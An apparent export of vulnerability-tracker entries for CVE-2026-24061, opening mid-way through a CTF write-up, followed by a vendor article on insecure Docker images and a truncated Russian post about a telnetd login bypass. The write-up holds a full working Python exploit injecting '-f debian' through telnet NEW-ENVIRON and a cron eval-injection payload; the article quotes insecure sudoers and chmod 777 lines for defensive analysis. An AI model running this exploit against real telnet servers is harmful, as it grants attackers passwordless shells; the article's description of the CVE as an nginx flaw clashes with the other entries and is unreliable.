line:\n\n```\n127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'\n```\n\n`chmod 644` is technically redundant (default `umask` would already give `debian` read access on `/tmp`), but it costs nothing and removes a class of failure modes (e.g. a restrictive umask in `monitor`'s shell init).\n\n## 7. Triggering and collection\n\nAppending the line, then polling every 10 seconds for `/tmp/monflag`:\n\n```\n$ tail -5 /home/monitor/bots.conf; date -u\n127.0.0.8\n127.0.0.9\n127.0.0.10\ntest\n127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'\nFri May  8 01:15:31 UTC 2026\n```\n\nUp to a minute later:\n\n```\nWaiting for monitor cron...\nwait 0\nwait 10\nGOT\n-rw-r--r-- 1 monitor monitor 22 May  8 01:16 /tmp/monflag\nTHC{Watch_Y0ur-...\n```\n\nThe 22-byte file is exactly the length of the THC flag format. The cron fired between `01:15:31` and `01:16:00`, confirming a once-per-minute schedule. Reading `/tmp/monflag` as `debian` returns `THC{Watch_Y0ur-Cr0Ns}`.\n\n## 8. Exploitation chain\n\n1. **Connect** to `tcp/40579`, complete the telnet option negotiation in the way `inetutils-telnetd` expects (reply `WILL NEW-ENVIRON`, `WONT` to other `DO`s).\n2. **Argument-inject** via `NEW-ENVIRON USER=-f debian`: smuggles a `-f debian` flag into the `/bin/login` argv, yielding a uid=1000 shell with no password (CVE-2026-24061).\n3. **Append** an eval-injection payload to `/home/monitor/bots.conf` (world-writable, mode `0666`):\n   `127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; chmod 644 /tmp/monflag'`\n4. **Wait** at most 60 s for `monitor`'s minutely cron, which runs `/usr/local/bin/check_bots_health`. That script `eval`s every line of `bots.conf`, so the appended line executes as `monitor`.\n5. **Read** `/tmp/monflag` from the `debian` shell to recover `THC{Watch_Y0ur-Cr0Ns}`.\n\n## 9. Final exploit\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nTHCon `Climb Me (part 2/4)` \u2014 argument-injection in inetutils-telnetd\n(CVE-2026-24061) chained into a cron eval-injection on bots.conf.\n\"\"\"\nimport socket, time\n\nHOST, PORT = '20.40.135.232', 40579\n\n# RFC 854 / 1572 telnet constants\nIAC, DONT, DO, WONT, WILL = 255, 254, 253, 252, 251\nSB, SE                    = 250, 240\nNEW_ENV                   = 39   # NEW-ENVIRON, the channel that smuggles USER\nIS, VAR, VALUE            = 0, 0, 1\n\n# uid=1000 user discovered by sweeping /etc/passwd-ish names; root and\n# most service accounts are restricted by /etc/securetty / pam.\nUSER_INJECT = '-f debian'\n\n# Cron-injection payload. The `127.0.0.1; ` prefix keeps the surrounding\n# `eval \"ping -c 1 $target\"` syntactically valid; the `;` then starts a\n# fresh command that runs as the monitor user.\nPRIV_PAYLOAD = (\n    \"127.0.0.1; /bin/sh -c 'cat /home/monitor/flag.txt > /tmp/monflag; \"\n    \"chmod 644 /tmp/monflag'\"\n)\n\n\ndef login_as_debian():\n    \"\"\"Open a telnet session, return (socket, on_byte_callback) once we\n    are sitting at a `$ ` prompt as uid=1000 debian.\"\"\"\n    s = socket.socket()\n    s.settimeout(5)\n    s.connect((HOST, PORT))\n    s.settimeout(0.1)\n\n    seen = bytearray()\n\n    def feed(chunk: bytes) -> bytes:\n        \"\"\"Parse one chunk of server output, side-effect: send any\n        required negotiation reply. Returns plain (non-IAC) text.\"\"\"\n        text, i = bytearray(), 0\n        while i < len(chunk):\n            if chunk[i] == IAC and i + 1 < len(chunk):\n                cmd = chunk[i + 1]\n                if cmd in (DO, DONT, WILL, WONT) and i + 2 < len(chunk):\n                    opt = chunk[i + 2]\n                    if cmd == DO and opt == NEW_ENV:\n                        # Crucial: we MUST volunteer NEW-ENVIRON, that's\n                        # the option carrying USER=...\n                        s.sendall(bytes([IAC, WILL, NEW_ENV]))\n                    elif cmd == DO:\n                        s.sendall(bytes([IAC, WONT, opt]))\n                    elif cmd == WILL:\n                        s.sendall(bytes([IAC, DO, opt]))\n                    i += 3\n                    continue\n                if cmd == SB:\n                    # walk to IAC SE\n                    j = i + 2\n                    while j + 1 < len(chunk) and not (\n                        chunk[j] == IAC and chunk[j + 1] == SE\n                    ):\n                        j += 1\n                    sub = chunk[i + 2:j]\n                    if sub and sub[0] == NEW_ENV:\n                        # Server asked us to SEND env; reply IS USER=.\n                        msg = (bytes([IAC, SB, NEW_ENV, IS, VAR])\n                               + b'USER'\n                               + bytes([VALUE])\n                               + USER_INJECT.encode()\n                               + bytes([IAC, SE]))\n                        s.sendall(msg)\n                    i = j + 2 if j + 1 < len(chunk) else len(chunk)\n                    continue\n                i += 2\n                continue\n            text.append(chunk[i])\n            i += 1\n        seen.extend(text)\n        return bytes(text)\n\n    # Spin the negotiation until we see a shell prompt.\n    deadline = time.time() + 8\n    while time.time() < deadline:\n        try:\n            d = s.recv(4096)\n        except socket.timeout:\n            continue\n        if not d:\n            raise RuntimeError(f\"closed before prompt: {bytes(seen)!r}\")\n        feed(d)\n        if b'$ ' in seen:\n            return s, feed\n    raise RuntimeError(f\"no prompt: {bytes(seen)!r}\")\n\n\ndef run(s, feed, cmd: str, timeout: float = 15) -> str:\n    \"\"\"Send `cmd`, read until a sentinel echoes back.\"\"\"\n    sentinel = '__MARK__'\n    s.sendall((cmd + f\"\\necho {sentinel}\\n\").encode())\n    out, t0 = b'', time.time()\n    while time.time() - t0 < timeout:\n        try:\n            d = s.recv(8192)\n        except socket.timeout:\n            continue\n        if not d:\n            break\n        out += feed(d)\n        if sentinel.encode() in out:\n            break\n    return out.decode('latin1', 'replace')\n\n\ndef main():\n    s, feed = login_as_debian()\n    print(\"[+] shell as\", run(s, feed, \"id; whoami\").strip())\n\n    # Append the cron-injection payload. Single quotes inside a\n    # double-quoted echo work because the inner quoting is preserved\n    # verbatim \u2014 bots.conf is plain text read line-at-a-time.\n    run(s, feed, f'echo \"{PRIV_PAYLOAD}\" >> /home/monitor/bots.conf')\n\n    # The monitor cron fires every minute. Poll /tmp/monflag for up to\n    # ~80 s in case we appended right after the last tick.\n    for _ in range(8):\n        listing = run(s, feed,\n                      'ls -l /tmp/monflag 2>/dev/null && cat /tmp/monflag')\n        if 'THC{' in listing:\n            # Extract the flag line.\n            for line in listing.splitlines():\n                if line.startswith('THC{'):\n                    print(\"[+] FLAG:\", line.strip())\n                    return\n        time.sleep(10)\n    print(\"[-] timed out waiting for cron\")\n\n\nif __name__ == '__main__':\n    main()\n```\n\n## 10. Methodology / lessons\n\nThe analytical path that actually finds this:\n\n1. **First, identify the daemon, not the shape of the response.** The opening byte string `\\xff\\xfd\\x18\\xff\\xfd\\x20\\xff\\xfd\\x23\\xff\\xfd\\x27\\xff\\xfd\\x24` is far more diagnostic than the login banner \u2014 that exact set of `DO` requests (TTYPE / TSPEED / XDISPLOC / NEW-ENVIRON / OLD-ENVIRON) is the GNU `inetutils-telnetd` fingerprint. Once you read it as RFC 854 IAC sequences, half the work is done.\n2. **Take the protocol seriously.** The first dozen failed attempts in the trace all stem from the same mistake: sending `WONT` to everything and assuming the server will fall through to a login prompt. `inetutils-telnetd` won't \u2014 it explicitly waits for `IS` replies to its `SEND` subnegotiations. If the daemon closes the socket before printing `Password:`, the bug is in your client, not the server.\n3. **`USER=-f` is the canonical telnetd argument-injection.** Whenever a daemon forwards client-supplied environment to a command line, scan for `-`-prefix-confusion on every variable that maps to a CLI flag. `login -f` is the most famous instance, but the general pattern (`-f` for `mail`, `-e` for `find`, `-i` for `ssh`, etc.) recurs.\n4. **When the obvious target (`root`) is locked down, sweep the next tier.** `pam`/`securetty` typically denies `root` on a pseudo-tty even with `login -f`, but unprivileged users like `debian`, `ubuntu`, `ctf`, etc. are wide open. A 100-name dictionary sweep is cheap and almost always finds the intended foothold.\n5. **Inside the box, prioritise *who runs what when*, not what's setuid.** This challenge has a setuid binary (`control_bots`) but the solution doesn't touch it \u2014 the privesc is via `monitor`'s minutely cron consuming a world-writable config. The pattern to recognise: a mode-`0666` file referenced by a script owned by another user is almost always a code-execution primitive, regardless of whether the script itself is suid.\n6. **`eval \"$cmd $unquoted_var\"` is always exploitable.** Even with input \"validation\" upstream, the unquoted expansion lets `;`, `\\``, `$(...)`, `&&`, and `|` all escape. The mitigation is to drop the `eval` entirely and use an array (`ping -c 1 -- \"$target\"`).\n\n## 11. Notes\n\n- `root` is not directly reachable by `-f root`: every attempt cleanly closes after env negotiation. PAM almost certainly bounces the non-securetty pseudo-tty before `login` ever consults `-f`.\n- The `control_bots` binary (setuid `admin`, group-executable by `monitor`) is the next link in the chain \u2014 relevant for parts 3/4, not part 2.\n- Hardening would chain three fixes: (a) patch `inetutils-telnetd` to reject env values starting with `-` or to use `--` before user-supplied argv to `login`; (b) make `/home/monitor/bots.conf` mode `0640` owned `monitor:monitor` so `debian` cannot append; (c) replace `eval \"ping -c 1 $target\"` with `ping -c 1 -- \"$target\"`.", "creation_timestamp": "2026-05-08T11:11:06.000000Z"}, {"uuid": "a480e83c-a625-455d-8da6-abeb0f4dac6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-1122ebc0-12145c4779ccb07a", "content": "What\u2019s in the container? Analyzing vulnerabilities, risks and protection with Kaspersky Container Security and the KIRA AI assistant\nIntroduction\nContainerization using Docker has become firmly established in modern development standards, significantly increasing the speed and convenience of deploying various services. Developers often use ready-made Docker images, making only minimal changes. The largest repository of container images is the Docker Hub service.\nContainer-hosted infrastructure is an attractive target for attackers. At a minimum, a compromised container can be used for DDoS attacks, cryptocurrency mining, or traffic proxying. The list of threats does not end there: once an attacker gains control of a container, they can steal or destroy data directly from it, access neighboring containers, or even attempt to escape the container, compromising the entire enterprise network.\nAt the same time, the infrastructure inside containers is typically updated less frequently and may contain outdated and vulnerable software versions. When deploying third-party images or modifying them for a specific environment, it is easy to make configuration errors that attackers can later exploit. And due to the architectural characteristics of containers, developers often face constraints when preparing images; to overcome these, they may resort to insecure solutions they find online.\nIn other words, containerized infrastructure can be both the simplest and the most lucrative target to exploit. Therefore, its security requires heightened attention. To minimize the risk of successful attacks on container infrastructure, it is essential to check the final Docker images, including all underlying layers, for vulnerabilities and misconfigurations. The easiest way to do this is by analyzing the Dockerfile; however, it is not always available for inspection. Moreover, it typically defines how to build layers on top of a base image from an external repository whose reliability cannot be guaranteed.\nImage analysis results in Kaspersky Container Security\nTo help users identify insecure configurations and potential vulnerabilities within them, we have added our AI assistant to Kaspersky Container Security.KIRA (the assistant\u2019s name) uses artificial intelligence to analyze the image and identify potential issues within, along with recommendations on how to fix them.\nAs part of this study, we asked KIRA to analyze a number of popular community images, and later in this article, we\u2019ll show you the results.\nSoftware vulnerabilities and compromise of update sources\nOne of the key security issues with using pre-built images is that developers do not update them in a timely manner. A Docker image is, by its very nature, a snapshot of a specific Linux distribution after packages have been installed on it. However, in most cases, it does not receive security updates on its own, unlike traditional Linux servers, where these updates are automatically installed by specialized services, such as unattended-upgrades in Debian-based distributions and dnf-automatic in RedHat-based distributions.\nTo apply updates to a Docker image, it must be rebuilt and redeployed. Often, this process is not automated, and some updates require additional effort to verify their correct operation, modify configurations when upgrading to new software versions, and so on. As a result, many popular images do not receive timely updates, which significantly increases the risks associated with their use.\nAn image that was secure at build time accumulates vulnerabilities as they are discovered in the packages installed within it, which over time significantly increases the opportunities for a successful attack on the container.\nVulnerable versions of web applications and network services accessible from the internet immediately become targets of various malicious campaigns. For example, just one day after the discovery of the CVE-2025-55182 vulnerability in React Server Components, our honeypots recorded numerous attack attempts related to this vulnerability. It was adopted by operators of many malicious campaigns, ranging from classic cryptocurrency miners to variants of Mirai and Gafgyt. Attackers are constantly adding new distribution methods and can use dozens of exploits targeting various vulnerabilities and configuration errors in popular services. Often, the same vulnerabilities are used in self-propagation mechanisms from already compromised hosts. For example, in a malicious campaign to spread the Dero miner, attackers use infected containers to automatically search for and infect new targets.\nIn addition to vulnerabilities that can be exploited remotely, attackers are rapidly adding local vulnerabilities to their arsenal, used to gain root privileges and escape the container: in the Kinsing malware campaign, attackers used CVE-2023-4911 (Looney Tunables) to elevate privileges, and in the perfctl campaign, the CVE-2021-4034 (PwnKit) vulnerability was used for the same purpose. The access gained was used to install a rootkit that hides the presence of perfctl on the system.\nTo assess the situation with unpatched vulnerabilities in containers, we took a random sample of 100 images, which included various popular solutions with 10,000 to 1 million downloads on DockerHub. In the 64 images we scanned, we found outdated software versions with critical vulnerabilities. For example, some images contained the CVE-2025-49844 vulnerability in the Redis server, leading to RCE by leveraging a vulnerability in the Lua parser; the current CVE-2026-24061 vulnerability in nginx, which in some configurations leads to a server process crash, and with ASLR disabled, again, to RCE; vulnerabilities CVE-2025-32463 in sudo and CVE-2023-4911 in glibc, allowing an attacker to gain root privileges with local access. At the same time, only one in ten Docker images from the analyzed sample is fully up to date.\nTOP 10 Critical Vulnerabilities with PoC/Exploits available as shown in the Kaspersky Container Security Dashboard\nIt is worth noting that, of course, not every discovered vulnerability can be directly exploited by attackers. A practical risk arises when the vulnerable application or library is actually in use, and the conditions necessary for exploitation \u2013 which vary significantly from vulnerability to vulnerability \u2013 are met. Nevertheless, updates must not be ignored, as the risk of vulnerabilities being exploited \u2013 both individually and in various combinations \u2013 cannot be predicted in each specific case, and even vulnerabilities that seem harmless at first glance can ultimately pose a serious risk of compromise.\nA record number of vulnerabilities in a single image\nHowever, frequent updates have a downside. Every rebuild that downloads new packages from source repositories introduces an additional risk of a supply chain attack \u2013 a compromised dependency or a modified base image could silently inject malicious code into your environment precisely through an update. During our analysis of images from the sample, we did not find any signs of supply chain attacks. However, in March 2026, a supply chain incident occurred in the Trivy and LiteLLM projects. In the case of Trivy, the infected file was injected directly into the container image in the official repositories.\nDetecting potentially malicious software using one of the images as an example\nThis leads to a difficult choice: infrequent updates leave known vulnerabilities unpatched within the image, while frequent updates increase the risk of supply chain compromise. Therefore, to protect your infrastructure, you need not only to regularly update base images but also to take a more comprehensive approach, specifically by pinning dependencies to known-good versions and scanning the resulting images for malware upon update.\nConfiguration vulnerabilities\nEven a container with a fully updated image can be compromised if it is configured incorrectly. Embedding keys and secrets in the image, disabling authentication in network services, default passwords, and insecure file access permissions \u2013 all of these can be exploited by attackers in one way or another to achieve their goals.\nInsecure image configurations detected by KCS based on rules\nThe situation is exacerbated by the fact that errors may be introduced by the authors of the original image, which complicates their detection, as this requires analyzing every layer and the command that generated it. As with vulnerabilities, not every configuration error leads to compromise: it all depends on the container\u2019s role, its network accessibility, and many other factors. But the very use of insecure settings will sooner or later lead to errors appearing in images where their consequences will be significantly more dangerous.\nStandard rules are often insufficient for analyzing problematic configurations. To gain a deeper understanding of the context and assess potential risks, AI tools can be used. Later in this section, we will examine examples of typical insecure configurations we discovered while scanning public images from Docker Hub, along with the descriptions of issues and risk mitigation methods provided by the KIRA AI assistant.\nExample of container analysis using KIRA\nInsecure handling of credentials\nUse of default passwords\nIn some cases, containers may use default passwords set via environment variables or directly in Dockerfile. If these passwords are not overridden, attackers will be able to access the application by using the default password.\nRUN |1 DEBIAN_FRONTEND=noninteractive /bin/sh -c echo [removed]:[removed] | chpasswd\nAccording to KIRA\u2019s analysis, the user\u2019s password is stored in plain text in the image layer history. Anyone who gains access to the image \u2013 whether through a public registry, a compromised build environment, or other means \u2013 will be able to extract the password. If SSH or another form of interactive access is enabled in the container, this could lead to its complete compromise and allow attackers to move laterally within the infrastructure.\nPasswords may be present in environment variables. Consider the following Dockerfile snippet:\nENV SERVERNAME=localhost WWW_PATH_CONF=/etc/apache2/apache2.conf WWW_PATH_ROOT=/var/www HTTPS=on PKP_CLI_INSTALL=0 PKP_DB_HOST=db PKP_DB_NAME=pkp PKP_DB_USER=pkp PKP_DB_PASSWORD=changeMePlease PKP_WEB_CONF=/etc/apache2/conf-enabled/pkp.conf PKP_CONF=config.inc.php PKP_CMD=/usr/local/bin/pkp-start\nIn this example, the environment variable PKP_DB_PASSWORD is set to changeMePlease. If the user forgets to override it, the application will use the password that can be obtained from Dockerfile.\nLet\u2019s look at another image:\n/bin/sh -c #(nop)  ENV MOODLE_URL=<a href=\"http://0.0.0.0/\">0.0.0.0</a> MOODLE_ADMIN admin       MOODLE_ADMIN_PASSWORD [removed]      MOODLE_ADMIN_EMAIL admin@example.com MOODLE_DB_HOST     MOODLE_DB_PASSWORD       MOODLE_DB_USER     MOODLE_DB_NAME    MOODLE_DB_PORT 3306\nFor this image, Dockerfile specifies that the administrator password is hardcoded in the ENV directive and remains in the image metadata (layer history, docker inspect). Anyone who gains access to the image (registry, build cache) will be able to extract this secret and compromise the account.\nTo eliminate these risks, ensure that no passwords are specified in Dockerfile. If authentication is required, you can use orchestrator mechanisms (secrets) or generate a temporary password when starting the container via the entrypoint script, without saving it in the layers. We also recommend using mechanisms for securely passing secrets at runtime (Docker secrets, Kubernetes Secrets) or, as a last resort, passing them via --secret during the build with BuildKit, but under no circumstances should they be left in the final image.\nPassing passwords via command arguments\nIn some cases, passwords may be exposed when passed via command-line arguments, as these arguments are visible to all users on the system:\n/bin/sh -c #(nop)  HEALTHCHECK &{[\"\"CMD-SHELL\"\" \"\"mysql --protocol TCP -u\\\"\"root\\\"\" -p\\\"\"$MYSQL_ROOT_PASSWORD\\\"\" -e \\\"\"SELECT 1;\\\"\"\"\"] \"\"15s\"\" \"\"30s\"\" \"\"0s\"\" '\\x05'}\nIn the example provided, the MySQL superuser password is passed into the healthcheck command in plaintext, making it visible when viewing the process list (ps aux), in audit logs, and in monitoring systems. If the attacker gains read access to the container\u2019s processes or logs, they can extract the password and gain full control of the database.\nTo fix this issue, the healthcheck should use a local connection via a Unix socket with default authentication (if the auth_socket plugin is configured for root), or create a dedicated user with minimal privileges (e.g., only USAGE), without a password or with a password passed via a secure file (--defaults-file with restricted permissions). You can also use the MYSQL_PWD environment variable for healthcheck authentication, but it remains visible in /proc.\nPrivilege escalation in the container\nOne of the most common vectors for initial compromise of Linux systems is RCE in web applications and network services. Typically, these services have minimal privileges, which complicates attackers\u2019 subsequent actions: dumping credentials, covering their tracks, attempting to escape the container, and much more.\nThe situation worsens significantly if the attacker gains root privileges, as this allows them to fully control all processes within the container, conceal their activity, and use methods to escape the container. For example, they can compromise the host if the container is privileged, a Docker socket is mounted inside it, or other insecure configurations and vulnerabilities exist that cannot be exploited with standard user privileges.\nSimilarly, this simplifies network attacks on neighboring containers, the orchestrator, and various internal services, making this configuration error a potential link in the chain for compromising the entire network.\nAttacks on sudo\nOne of the simplest privilege escalation methods is executing arbitrary commands as root using sudo without entering a password. Consider the following example:\n/bin/sh -c set -xe;     apt-get update &&       apt-get -y install sudo;       echo \"\"solr ALL=(ALL) NOPASSWD: ALL\"\" >/etc/sudoers.d/solr;\nAnalyzing this configuration using KIRA immediately highlights the main issue: by installing the sudo package and setting NOPASSWD: ALL for the solr, the user severely violates the principle of least privilege. The Solr platform does not require such broad privileges to run within a container; instead, they create an easy path for escalating to root.\necho 'postgres ALL=(ALL:ALL) NOPASSWD:ALL' >> /etc/sudoers\nIn another example of an insecure configuration, NOPASSWD:ALL privileges are granted to a PostgreSQL database user, which is a direct and severe weakening of the access control policy. If an attacker gains the ability to execute code on behalf of the postgres user \u2013 through a vulnerability in a network service, an SQL injection, or by compromising of one of the processes \u2013 they will immediately and unconditionally be able to execute any commands on behalf of the root user. This is equivalent to the entire container running as root.\nAs a risk mitigation measure, we recommend completely removing this directive. The minimum necessary commands requiring privileges should be delegated on a case-by-case basis via sudoers with explicit specification of allowed executables and parameters, using NOPASSWD only as a last resort and for specific utilities.\nOur AI assistant KIRA can identify even more complex insecure configurations, such as allowing passwordless sudo for the entire sudo group \u2014 by modifying existing rules.\nperl -i -pe 's/\\bALL$/NOPASSWD:ALL/g' /etc/sudoers\nThe risk in this example is that the command replaces standard declarations requiring authentication with passwordless execution of all commands for any user within the sudo group \u2013 potentially including postgres, should it be assigned to that group. This expands the attack surface to all group members, turning each of them into a potential point for instant privilege escalation.\nTo mitigate the risks, we recommend not modifying the global sudoers policy, keeping the standard password requirement, or using a more secure escalation mechanism \u2013 such as gosu to run a specific process on behalf of another user without permanent privileges.\nInsecure file permissions\nAnother common vector for privilege escalation is insecurely configured file and directory permissions. Most often, for convenience, container image authors use 777 permissions, which allow anyone \u2013 including unprivileged users \u2013 to freely create and delete files, as well as modify their contents. This can lead to both privilege escalation and the ability for an unprivileged attacker to delete or modify logs, among other undesirable consequences.\nConsider the following command:\nchmod 0777 /usr/share/cargo /usr/share/cargo/bin\nThe risk is that directories containing binary files and scripts will become writable by any container user. This allows a low-privileged attacker to replace utilities included in cargo or add new malicious executables. When these tools are subsequently invoked, especially as the root user or via sudo, the attacker\u2019s code will execute with the inherited privileges of the calling process, leading directly to a local privilege escalation.\nTo mitigate the risks, you can set the minimum necessary permissions: chmod 0755 for directories and chmod 0755/0644 for the corresponding files. The owner should be root, and only the owner should be allowed to write. Do not use chmod 777 on any system paths.\nLack of integrity checks\nDownloading software without verifying its integrity can make the infrastructure vulnerable to software tampering.\nFor example, this risk may arise when downloading a distribution via HTTP:\nRUN /bin/sh -c wget -qO- \"\"<a href=\"http://acestream.org/downloads/linux/acestream_3.1.49_debian_9.9_x86_64.tar.gz\">acestream.org/downloads/linux/\u2026 | tar --extract --gzip -C /opt/acestream\nUsing HTTP without verifying the archive\u2019s integrity creates conditions for a man-in-the-middle attack during the image build phase. An attacker controlling the communication channel or DNS can replace the archive with malicious content, which will compromise the container and the entire environment in which it runs.\nTo mitigate the risks, you can configure connections to web resources to use HTTPS only \u2014 if the resource supports this protocol. You can also download the archive without extracting it, compare its checksum (SHA256) with the checksum from a trusted source, and only then extract it. It is advisable to store the verified archive in an internal artifact repository to avoid direct downloads from the network.\nThere will still be a MitM risk even if certificate verification is disabled:\nwget --no-check-certificate<a href=\"https://github.com/phpvirtualbox/phpvirtualbox/archive/refs/heads/7.2-dev.zip\"> github.com/phpvirtualbox/phpvi\u2026 -O phpvirtualbox.zip\nThe absence of TLS certificate verification allows an attacker controlling the network segment to replace the downloaded ZIP archive with malicious content. Since the archive contains PHP code that will be executed by the web server, compromise during the build phase will result in the deployment of a backdoor or data leakage.\nTo mitigate the risks, remove the --no-check-certificate flag; after downloading, calculate the SHA256 hash of the archive and verify it against a known reference value (the release page or a local repository of trusted hashes). Additionally, consider using a fixed release (tag) rather than the floating 7.2-dev branch.\nConclusion\nDocker containers have become a very popular means of deploying software, and attackers are by no means oblivious to this trend. They are rapidly adding software vulnerabilities and configuration errors to their arsenal and carrying out attacks on supply chains. They can compromise container infrastructure for a wide variety of purposes, from cryptocurrency mining to encrypting data for ransom or stealing information critical to the company.\nOur research found that 64 out of 100 container images for popular applications contain critically vulnerable software, and only 10% are fully up to date. We also identified numerous insecure configurations, including passwords stored in plaintext in Dockerfiles and excessive privileges granted to users and processes.\nTo detect and prevent these threats, it is essential to strictly adhere to security measures: audit image configurations, securely manage secrets used in images, apply security updates in a timely manner, scan their contents for malware with every update, and follow industry-standard best practices for enhancing security.\nThis approach requires specialized solutions built to accommodate the unique characteristics of container environments. Kaspersky Container Security ensures the security of containerized applications at every stage of their lifecycle, from development to operation. The product protects an organization\u2019s business processes, helps ensure compliance with industry standards and security regulations, and enables the implementation of secure software development practices. \nsecurelist.com/container-secur\u2026", "creation_timestamp": "2026-05-29T07:12:04.643314Z"}, {"uuid": "dd44692f-8d13-4018-bfc5-0eb1db6732b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/sysodmins/28154", "content": "\u2328\ufe0f Telnet \u0441\u043d\u043e\u0432\u0430 \u0434\u0430\u0440\u0438\u0442 root-\u043f\u0440\u0430\u0432\u0430 \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f (CVE-2026-24061)\n\n\u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u0432 2026 \u0433\u043e\u0434\u0443 \u043f\u043e\u0440\u0442 23 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0437\u0430\u043a\u0440\u044b\u0442 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0444\u0430\u0435\u0440\u0432\u043e\u043b\u043e\u043c, \u0430 \u0437\u0430\u043b\u0438\u0442 \u0431\u0435\u0442\u043e\u043d\u043e\u043c. \u041d\u043e \u0435\u0441\u043b\u0438 \u0432 \u0432\u0430\u0448\u0435\u0439 \u0438\u043d\u0444\u0440\u0435 (\u0438\u043b\u0438 \u043d\u0430 \u0441\u0442\u0430\u0440\u044b\u0445 \u0436\u0435\u043b\u0435\u0437\u043a\u0430\u0445) \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f GNU InetUtils telnetd, \u0443 \u043c\u0435\u043d\u044f \u0434\u043b\u044f \u0432\u0430\u0441 \u043f\u043b\u043e\u0445\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438.\n\n\u0412 \u0434\u0435\u043c\u043e\u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVSS 9.8), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f, \u043f\u0440\u043e\u0441\u0442\u043e \u0433\u0440\u0430\u043c\u043e\u0442\u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u0432. \u0414\u044b\u0440\u0430 \u0436\u0438\u043b\u0430 \u0432 \u043a\u043e\u0434\u0435 11 \u043b\u0435\u0442 (\u0441 2015 \u0433\u043e\u0434\u0430), \u0438 \u043d\u0438\u043a\u0442\u043e \u0435\u0451 \u043d\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u043b.\n\n\u0414\u0435\u043c\u043e\u043d telnetd \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043e\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f USER \u0438, \u043d\u0435 \u043e\u0441\u043e\u0431\u043e \u0437\u0430\u0434\u0443\u043c\u044b\u0432\u0430\u044f\u0441\u044c, \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 /bin/login. \u0410 \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442, \u0435\u0441\u043b\u0438 \u0445\u0430\u0446\u043a\u0435\u0440 \u043f\u0435\u0440\u0435\u0434\u0430\u0441\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 -f root? \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0432\u0438\u0434\u0438\u0442 \u0444\u043b\u0430\u0433 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439, \u0438 \u0440\u0435\u0448\u0430\u0435\u0442, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0443\u0436\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u0432\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u043e\u0434 \u0440\u0443\u0442\u043e\u043c \ud83c\udfa9\n\n\u0418\u0411\u0448\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442, \u0447\u0442\u043e \u0441 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u041a\u0438\u0442\u0430\u044f, \u0421\u0428\u0410 \u0438 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u043e\u0432 \u043d\u0430\u0447\u0430\u043b\u0438 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0441\u043a\u0430\u043d\u0438\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0432 \u043f\u043e\u0438\u0441\u043a\u0430\u0445 \u043c\u0430\u043c\u043e\u043d\u0442\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0442\u0435\u043b\u043d\u0435\u0442\u043e\u043c.\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0435 Telnet \u0432 